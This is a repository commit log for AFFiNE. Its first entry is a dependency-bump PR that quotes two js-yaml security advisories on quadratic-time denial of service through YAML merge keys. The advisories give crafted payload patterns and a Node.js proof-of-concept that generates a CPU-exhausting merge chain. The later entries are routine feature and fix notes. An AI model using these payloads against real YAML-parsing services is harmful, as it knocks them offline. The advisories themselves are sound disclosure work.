This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [js-yaml](https://redirect.github.com/nodeca/js-yaml) | [`4.2.0` →
`4.3.0`](https://renovatebot.com/diffs/npm/js-yaml/4.2.0/4.3.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/js-yaml/4.3.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/js-yaml/4.2.0/4.3.0?slim=true)
|

---

### JS-YAML: Quadratic-complexity DoS in merge key handling via repeated
aliases
[CVE-2026-53550](https://nvd.nist.gov/vuln/detail/CVE-2026-53550) /
[GHSA-h67p-54hq-rp68](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68)

<details>
<summary>More information</summary>

#### Details
##### Summary
A crafted YAML document can trigger algorithmic CPU exhaustion in
`js-yaml` merge-key processing (`<<`) by repeating the same alias many
times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can
block a Node.js worker/event loop for seconds with a relatively small
payload (tens of KB), resulting in denial of service.

##### Details
The issue is in merge handling inside `lib/loader.js`:

- `storeMappingPair(...)` iterates every element of a merge sequence
when key tag is `tag:yaml.org,2002:merge`.
- For each element, it calls `mergeMappings(...)`.
- `mergeMappings(...)` computes `Object.keys(source)` and performs
`_hasOwnProperty.call(destination, key)` checks for each key.

When input is of the form:

a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge,
subsequent merges are semantically no-ops, but the parser still
reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving
quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag ===
'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)

##### Root cause
File:       lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag,
keyNode,
valueNode, startLine, startLineStart, startPos)
Lines:      ~359-366

    if (keyTag === 'tag:yaml.org,2002:merge') {
      if (Array.isArray(valueNode)) {
for (index = 0, quantity = valueNode.length; index < quantity; index +=
1) {
mergeMappings(state, _result, valueNode[index], overridableKeys);
        }
      } else {
        mergeMappings(state, _result, valueNode, overridableKeys);
      }
    }

When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each
element
is handed to mergeMappings() without deduplication. mergeMappings() then
does

    sourceKeys = Object.keys(source);
    for (index = 0; index < sourceKeys.length; index += 1) {
      key = sourceKeys[index];
      if (!_hasOwnProperty.call(destination, key)) {
        setProperty(destination, key, source[key]);
        overridableKeys[key] = true;
      }
    }

Every alias reference in the sequence resolves (by design) to the SAME
object
via state.anchorMap. After the first merge, every subsequent merge of
that same
reference is a pure no-op semantically, but still performs:

  * one Object.keys(source) call (O(K))
  * K _hasOwnProperty.call checks on the destination

Total: M * K hasOwnProperty checks + M Object.keys allocations, while
the final
object and all observable side effects are identical to a single merge.

YAML semantics for `<<:` are idempotent and commutative over duplicate
sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec
trade-off.

##### PoC
Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge
(<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33–36 ms
K=M=2000, input 20,909 bytes: ~121–123 ms
K=M=4000, input 42,909 bytes: ~524–537 ms
K=M=6000, input 64,909 bytes: ~1,608–1,829 ms
K=M=8000, input 86,909 bytes: ~3,395–3,565 ms
Control (single merge, similar key counts):
K=2000: ~1–2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same
key count and same JSON), confirming excess time is redundant
computation.

##### Impact
This is a denial-of-service vulnerability (CPU exhaustion / algorithmic
complexity).
Any service parsing untrusted YAML with js-yaml can be impacted,
including API backends, CI tools, config processors, and automation
services. An attacker can submit crafted YAML to significantly increase
CPU time and reduce availability.

##### Suggested fix:
Dedupe the merge source list by reference before invoking mergeMappings.
Any of
the following are minimal and preserve YAML 1.1 merge semantics:

dedupe in storeMappingPair:

    if (keyTag === 'tag:yaml.org,2002:merge') {
      if (Array.isArray(valueNode)) {
        var seen = new Set();
for (index = 0, quantity = valueNode.length; index < quantity; index +=
1) {
          var src = valueNode[index];
if (seen.has(src)) continue; // idempotent; skip redundant alias
          seen.add(src);
          mergeMappings(state, _result, src, overridableKeys);
        }
      } else {
        mergeMappings(state, _result, valueNode, overridableKeys);
      }
    }

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-53550](https://nvd.nist.gov/vuln/detail/CVE-2026-53550)
-
[https://github.com/advisories/GHSA-h67p-54hq-rp68](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### js-yaml: YAML merge-key chains can force quadratic CPU consumption
[CVE-2026-59869](https://nvd.nist.gov/vuln/detail/CVE-2026-59869) /
[GHSA-52cp-r559-cp3m](https://redirect.github.com/advisories/GHSA-52cp-r559-cp3m)

<details>
<summary>More information</summary>

#### Details
##### Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows
only linearly. The issue is triggered by a chain of mappings where each
mapping merges the previous one:

```yaml
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
```

For each new mapping, the loader has to enumerate the keys inherited
from the previous mapping. With N chained mappings, this results in
roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N)
input size.

##### PoC

From N = 4000 delay become > 1s (doc size < 100K)

```js
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
```

##### Patches

Fix released. The most robust protection is to limit the total number of
merged keys per parse call. This should close all past and future edge
cases with merge. The default 10K-key limit should be okay in most
cases.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59869](https://nvd.nist.gov/vuln/detail/CVE-2026-59869)
-
[https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7](https://redirect.github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7)
-
[https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4](https://redirect.github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4)
-
[https://github.com/nodeca/js-yaml/releases/tag/3.15.0](https://redirect.github.com/nodeca/js-yaml/releases/tag/3.15.0)
-
[https://github.com/nodeca/js-yaml/releases/tag/4.3.0](https://redirect.github.com/nodeca/js-yaml/releases/tag/4.3.0)
-
[https://github.com/advisories/GHSA-52cp-r559-cp3m](https://redirect.github.com/advisories/GHSA-52cp-r559-cp3m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-52cp-r559-cp3m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>nodeca/js-yaml (js-yaml)</summary>

###
[`v4.3.0`](https://redirect.github.com/nodeca/js-yaml/compare/4.2.0...33d05b5d29a8c21360f620f7e1c1706e24522eda)

[Compare
Source](https://redirect.github.com/nodeca/js-yaml/compare/4.2.0...4.3.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-21 13:26:30 +08:00
DarkSky b1abd8db54 fix(core): selfhosted auth handling (#15295)
fix #15284
fix #15266
fix #15268
fix #15267

#### PR Dependency Tree


* **PR #15295** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2026-07-21 11:26:15 +08:00
DarkSky bb55d6fd21 feat(server): impl doc gc (#15282)
#### PR Dependency Tree


* **PR #15282** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added automated document cleanup to reconcile missing workspace docs,
delete related stored data, and recover if the doc returns.
* Added effect-based follow-up reconciliation for search indexing,
Copilot embeddings, and comment attachment cleanup with explicit
acknowledgements.
* **Bug Fixes**
* Deleted-document references now persist as dangling references rather
than disappearing.
* Improved document deletion flow to enforce permissions and ensure
authorized deletions succeed.
* **Tests**
* Expanded coverage for cleanup recovery, indexing/embedding
reconciliation, permissions, and reference semantics.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
v2026.7.20-canary.1002
2026-07-20 15:29:23 +08:00
DarkSky 81df4751a3 fix(server): blob gc (#15280)
#### PR Dependency Tree


* **PR #15280** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved workspace document discovery so documents in trashed pages
are correctly included when loading workspace content.
* Fixed dragging collections into Favorites, including reordering
collections within Favorites.
* **Tests**
* Added coverage for document projection behavior and collection
drag-and-drop interactions.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
v0.27.2-beta.1 v0.27.2
2026-07-19 16:49:41 +08:00
renovate[bot] 9122cfd108 chore: bump up Node.js to v22.23.1 (#15277)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [node](https://nodejs.org)
([source](https://redirect.github.com/nodejs/node)) | patch | `22.23.0`
→ `22.23.1` |

---

### Release Notes

<details>
<summary>nodejs/node (node)</summary>

###
[`v22.23.1`](https://redirect.github.com/nodejs/node/releases/tag/v22.23.1):
2026-06-23, Version 22.23.1 'Jod' (LTS), @&#8203;RafaelGSS

[Compare
Source](https://redirect.github.com/nodejs/node/compare/v22.23.0...v22.23.1)

This release includes a fix for an unexpected behavior introduced
by the recent security release (22.23.0).

##### Commits

-
\[[`41d2ee13be`](https://redirect.github.com/nodejs/node/commit/41d2ee13be)]
- **build**: switch coverage-windows to `windows-2022` (Richard Lau)
[#&#8203;63940](https://redirect.github.com/nodejs/node/pull/63940)
-
\[[`eaa292549e`](https://redirect.github.com/nodejs/node/commit/eaa292549e)]
- **http**: avoid stream listeners on idle agent sockets (Matteo
Collina)
[#&#8203;64004](https://redirect.github.com/nodejs/node/pull/64004)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNjUuMSIsInVwZGF0ZWRJblZlciI6IjQzLjI2NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-19 15:13:33 +08:00
DarkSky d24c17f300 feat(core): improve auth handling (#15271)
fix #15270
fix #15260
fix #15257


#### PR Dependency Tree


* **PR #15271** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
v0.27.2-beta.0
2026-07-18 06:27:01 +08:00
DarkSky 427db39862 chore: update docs 2026-07-15 13:25:57 +08:00
DarkSky 0c7be44499 chore: cleanup logs v0.27.1 2026-07-15 12:42:07 +08:00
DarkSky a6b00a93c0 fix(server): mcp api visibility (#15247)
fix #15246


#### PR Dependency Tree


* **PR #15247** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved consistency when issuing and validating MCP credential tokens
by using a shared token prefix across issuance and parsing.
* Preserved correct recognition of standard JWT-based authentication
tokens.

* **Tests**
* Updated MCP credentials coverage to validate behavior through the HTTP
API response (instead of direct controller invocation).
* Adjusted workspace quota e2e setup to derive restricted limits via
entitlements before reconciling quota state.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-15 12:29:50 +08:00
DarkSky c61cc6a86f fix(server): missing query cache v0.27.0 2026-07-15 04:38:49 +08:00
DarkSky 3bbc890bcb fix: migration ownership v0.27.0-beta.7 2026-07-15 03:14:41 +08:00
DarkSky e145d87d56 feat(server): cleanup legacy compatibility (#15239) 2026-07-15 03:01:51 +08:00
DarkSky 00d4ab10a1 chore: bump version 2026-07-14 19:43:42 +08:00
Rodman 9d1570a703 fix(i18n): learn more typo (#15230) 2026-07-14 17:08:15 +08:00
DarkSky cfd1b67d8c fix(core): version guard (#15226)
fix #15225



#### PR Dependency Tree


* **PR #15226** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
  * Improved self-hosted server version validation.
  * Correctly supports compatible beta and release-candidate versions.
  * Rejects outdated pre-release versions consistently.
* Provides the appropriate unsupported-version guidance when
compatibility requirements are not met.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
v0.27.0-beta.6
2026-07-13 19:04:12 +08:00
DarkSky 0c16d7110d feat: improve native preview (#15223)
#### PR Dependency Tree


* **PR #15223** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Improvements**
* Updated Mermaid and Typst preview rendering in native/mobile apps to
use a shared preview implementation.
* Improved production Release builds with additional Rust release tuning
and enhanced iOS Release stripping/symbol settings.
* Enabled stronger release output optimization for the native package
build.
* **Bug Fixes**
* Strengthened handling of unsupported self-hosted server versions
during login preflight.
* Refreshed unsupported-version messaging with localized text and a
direct upgrade link.
* **Tests**
* Added coverage for login preflight behavior when the server version is
unsupported.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
v0.27.0-beta.5
2026-07-13 03:23:08 +08:00
DarkSky 9b81c6debd feat(core): improve mcp management (#15221)
#### PR Dependency Tree


* **PR #15221** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added MCP credential management (create/reveal, list, rotate, revoke)
with expiration and status tracking.
* Introduced read-only vs read/write access modes, with read/write
tooling enabled only when permitted.
* Added workspace MCP credential configuration UI, including token
reveal and setup generation.
  * Added MCP credential GraphQL APIs to back the UI.
* **Changes**
* Replaced legacy access-token support with MCP credentials across
authentication and realtime updates.
* **Bug Fixes**
* MCP authentication now reliably rejects revoked, rotated, expired, or
disabled-user credentials.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-12 19:30:44 +08:00
DarkSky abf37d3dfa feat(core): improve login flow (#15219)
#### PR Dependency Tree


* **PR #15219** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added secure, automatic auth session token refresh and request replay
for expired-token responses across Android, iOS, and Electron.
* Updated sign-in flows to manage sessions without returning tokens to
the app layer.
* Added “Devices” management UI with sign out per device and sign out
all.
  * Enabled support for both Hashcash and Turnstile captcha providers.
* **Bug Fixes**
* Improved refresh de-duplication, inflight cancellation/clear behavior,
and recovery from corrupted/invalid sessions.
* **Tests**
* Expanded auth-session, refresh/revoke, and replay coverage (Electron
unit tests, Android instrumentation tests, iOS auth date parser tests).
* **Chores**
* Removed CAPTCHA site key from build-time configuration and adjusted CI
test execution.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-12 18:11:02 +08:00
DarkSky 02b25e05d8 feat(server): support refresh token (#15218) 2026-07-12 02:39:42 +08:00
DarkSky aea128f0b9 chore: bump deps 2026-07-11 06:43:04 +08:00
Whitewater b22bc17bd0 fix(server): align native JWT session TTL with auth session TTL (#15210)
## Summary

This is a backend-only workaround for native/mobile sessions expiring
much earlier than the normal AFFiNE auth session.

Native JWT-backed sessions now use the existing `auth.session.ttl`
instead of the hard-coded 15-minute TTL.

No database migration, no new config, and no mobile client changes are
required.

## Background / Investigation

PR #15060 introduced native session exchange and JWT-backed native
sessions for mobile/desktop clients.

Relevant code introduced there:

- `packages/backend/server/src/core/auth/session-issuer.ts`
  - Native clients no longer receive normal auth cookies.
- `SessionIssuer` clears cookies for native clients and returns a native
session exchange code instead.

- `packages/backend/server/src/core/auth/native-exchange.ts`
- Native clients exchange the one-time code for a JWT-backed session
token.

- `packages/backend/server/src/core/auth/jwt-session.ts`
  - The JWT session implementation was introduced with:
    - `const JWT_SESSION_TTL = 15 * 60`
    - `expiresIn: JWT_SESSION_TTL`
    - normal `jwt.verify(...)` expiration enforcement

That means a native/mobile client that does not reconnect and
exchange/sign in again within 15 minutes can lose backend auth even
though the DB-backed AFFiNE user session is still valid for the normal
app session TTL, currently 15 days by default.

Web does not hit this path because web keeps using the normal
cookie-backed session issued by `AuthService`, whose expiration is based
on `auth.session.ttl`.

## Related Issues / PRs Checked

- Source PR: #15060
- Introduced native session exchange, JWT-backed sessions, native token
storage, and websocket JWT support.
- This PR appears to be the source of the hard-coded 15-minute native
JWT TTL behavior.

I did not find a public issue that directly reports "native JWT expires
after 15 minutes".

## What Changed

- Removed the hard-coded 15-minute native JWT TTL.
- Updated `JwtSessionService.sign()` to issue native JWTs with
`auth.session.ttl`.
- Kept `JwtSessionService.verify()` on normal JWT expiration
verification, so existing JWTs that already expired under the previous
15-minute `exp` need to be refreshed by signing in again.
- Kept the existing DB-backed session lookup:
- sign-out still revokes the native JWT by deleting the backing session
  - expired/deleted DB sessions still reject the JWT

## Why This Is A Workaround

A more complete long-term design would add a true refresh-token flow for
native clients, likely with persisted refresh tokens,
rotation/revocation semantics, and database changes.

This PR intentionally avoids that larger design. It restores the
expected mobile login lifetime for newly issued native JWTs by aligning
native JWT lifetime with the existing app session lifetime, while
preserving the current native exchange model, Keychain/Keystore storage,
and revoke-by-session behavior.

## Compatibility

- Backend only
- No DB schema change
- No mobile app change
- No new config
- Existing native JWTs that already expired under the old 15-minute
`exp` will still require signing in again.
- Newly issued native JWTs use `auth.session.ttl`.

## Verification

Latest verification after removing the extra native JWT TTL config:

- JWT session tests: 4 passed
- `yarn typecheck`: passed
- `lint-staged`: passed via `corepack yarn`
- `lint:ox`: passed via `corepack yarn`

Earlier broader checks on this branch also passed selected auth tests
and the websocket JWT auth subset.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Session login tokens now follow the configured session lifetime, so
expiration behavior can be adjusted through app settings.

* **Bug Fixes**
* Improved consistency between token expiration and session expiry
checks.
* Added coverage for cases where a session is missing, expired, or the
session lifetime changes.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-11 06:40:58 +08:00
keepClamDown a868f54eeb fix(ios): stabilize keyboard toolbar, image picker, and scrolling (#15182)
## Summary
- keep the editor active when iOS keyboard toolbar interactions move
focus into range-sync excluded widgets
- use the native iOS image picker/source sheet and sync native
presentation with the app theme
- pin `ListViewKit` to `1.1.6` so the iOS workspace resolves with Xcode
16.3
- restore vertical scrolling in the iOS `WKWebView` by removing the
global `contentOffset` reset while preserving zoom prevention

## Test plan
- [x] `yarn vitest --run --config \"vitest.config.ts\"
--browser.enabled=false \"src/__tests__/inline/active.unit.spec.ts\"`
- [x] `LANG=en_US.UTF-8 LC_ALL=en_US.UTF-8 xcodebuild
-resolvePackageDependencies -workspace
\"packages/frontend/apps/ios/App/App.xcworkspace\" -scheme \"App\"`
- [x] `xcodebuild -workspace \"App.xcworkspace\" -scheme \"App\"
-destination \"generic/platform=iOS Simulator\" build
CODE_SIGNING_ALLOWED=NO ONLY_ACTIVE_ARCH=YES ARCHS=arm64`
- [x] Xcode build validation for the updated PR branch
2026-07-09 11:11:55 +08:00
DarkSky 9f8e5c0eb3 chore: improve test stability v0.27.0-beta.4 2026-07-07 12:26:56 +08:00
DarkSky fe2a4db76b feat(core): improve dashboard style (#15205) 2026-07-07 12:13:11 +08:00
DarkSky 631e4af9b9 fix(i18n): outdated entries 2026-07-07 08:40:02 +08:00
steffenrapp 19b770bddf feat(i18n): update German translation (#15201)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **New Features**
- Added German translations for new import options, including Notion
Markdown ZIP and OneNote.
- Included localized helper text for import tips and availability notes,
such as desktop-only guidance.

- **Copy Updates**
  - Updated the Notion import label to indicate it is experimental.
- Expanded the German wording for import-related tooltips and
descriptions.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-07 08:38:36 +08:00
DarkSky 998b255afd feat(server): refactor mail queue (#15204) 2026-07-07 08:38:16 +08:00
DarkSky 9581432d21 feat(core): onenote importer (#15198)
#### PR Dependency Tree


* **PR #15198** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added OneNote import support for `.one`, `.onetoc2`, and `.onepkg`,
including OneNote-to-markdown content conversion.
* OneNote now appears in the import flow with a dedicated label and
format tooltip, and file pickers recognize the new OneNote type.

* **Bug Fixes**
* Import options that are desktop-only are now disabled when not running
in the desktop app, with clear messaging.
* Improved imported asset handling by converting non-image embedded
assets into attachments for more consistent results.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
v0.27.0-beta.3
2026-07-06 06:20:52 +08:00
DarkSky 8d72e4dc29 feat(core): import progress & perf (#15197)
#### PR Dependency Tree


* **PR #15197** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added a new import pipeline with “plan then commit” batch handling for
Markdown, Notion HTML, Obsidian, and Bear backups.
* Enabled native import sessions with progress, cancellation, and
batch-by-batch committing (including assets, folders, icons, and tags).
  * Added web preflight limits for ZIP and multi-file imports.
* **Bug Fixes**
* Improved import error/warning reporting and continued processing when
some items fail.
* Strengthened snapshot-based file/directory picking to preserve paths.
* **Chores**
  * Updated project packaging/configuration for the new import workflow.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-06 01:29:24 +08:00
Jachin 477015f064 feat(core): support Notion markdown zip imports (#14910)
## What changed
- Markdown zip imports now resolve local `.md` links like `./test/2.md`
into AFFiNE linked-page references when the target document exists in
the same archive.
- Added Notion Markdown `.zip` import support in the desktop import
dialog, including nested zip traversal, Notion title extraction,
hash-stripped folder names, attachments, and folder hierarchy
integration.
- Added i18n entries and adapter coverage for standard Markdown zip
links and Notion Markdown zip imports.

## Why
Markdown and Notion exports often contain links between notes using
relative `.md` paths. Keeping those as plain URLs makes imported
workspaces harder to navigate, so the importer now preassigns document
ids and rewrites resolvable archive-local markdown links into linked
pages.

## Notes
The markdown zip folder hierarchy implementation now comes from latest
`origin/canary`, so this PR only layers relative-link resolution and
Notion Markdown zip support on top of that upstream behavior.

## Validation
- `yarn vitest --run
blocksuite/affine/all/src/__tests__/adapters/markdown.unit.spec.ts`
- `yarn tsc -b blocksuite/affine/all/tsconfig.json --verbose`
- `git diff --check`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added support for importing Notion Markdown exports in `.zip` format,
including subpages, attachments, and nested folders.
* Internal links inside imported Markdown now resolve correctly between
pages, preserving link text when available.
* The import dialog now includes a dedicated “Notion (Markdown, .zip)”
option.

* **Bug Fixes**
* Improved filename handling so non-Latin characters in ZIP imports are
preserved correctly.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2026-07-05 04:42:48 +08:00
steffenrapp 8063af2da8 feat(i18n): update German translation (#15159)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added a German invite notification title with a `{{count}}`
placeholder.
* **Bug Fixes**
* Improved German messaging for unsupported server/client version
mismatches, including a `{{requiredVersion}}` placeholder.
* **Updates**
* Refreshed German UI wording to consistently use “AFFiNE Sync” across
sign-in/onboarding, publishing/sharing, collaboration tips,
storage/autodelete guidance, and related confirmations (including
password reset and sign-out).
  * Updated the workspace chat sub-path label to “KI-Chat”.
* **Chores**
  * Updated German localization completeness score (99 → 100).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-05 04:00:13 +08:00
DarkSky 65f4604094 fix(server): tool call test 2026-07-05 03:59:45 +08:00
OrbisAI Security a7f824c42b fix(server): schema preflight for tool call (#15172) 2026-07-05 03:53:44 +08:00
DarkSky 06a89d478e fix: test & lint 2026-07-05 03:52:33 +08:00
DarkSky 296a4c2f81 fix(server): dashboard query (#15195)
#### PR Dependency Tree


* **PR #15195** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Admin dashboard storage history now returns a continuous day-by-day
trend, carrying forward the last known workspace and blob storage values
for days without samples.
* Active member counts for workspace analytics were corrected to reflect
active workspace members.
* **New Features**
* Admin workspace member roles are now returned via a dedicated role
enum, serialized as enum name strings (e.g., `Owner`).
* **UI Improvements**
* Renamed key labels to “Active Members” and “Members and Invitations”;
member roles use pill badges and non-accepted statuses are shown.
* **Tests**
* Added E2E coverage for role enum serialization and strengthened
storage history assertions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-05 03:04:05 +08:00
DarkSky 7cfedbd49d feat: improve ci (#15194) 2026-07-04 03:41:23 +08:00
DarkSky c36b5b201e chore(i18n): update i18n (#15191)
#### PR Dependency Tree


* **PR #15191** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Updated sign-in, sign-up, and email content to show the correct server
name for cloud and self-hosted setups.
* Added clearer workspace status messages for syncing, local workspaces,
and server-connected workspaces.
* Introduced localized text updates for more languages, including new
locale coverage.

* **Bug Fixes**
* Replaced outdated “Cloud” wording throughout the app with more
accurate “Sync” and self-hosted terminology.
* Improved account deletion, password reset, sharing, and storage
prompts for clearer user guidance.
* Updated workspace status labels and tooltips to better reflect the
current server connection.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
v0.27.0-beta.2
2026-07-03 18:37:20 +08:00
keepClamDown cebd7296b1 fix(ios): restore simulator Rust build outputs (#15190)
- sync the iOS ATT pod lockfile with the Capacitor plugin version
already referenced by the repo
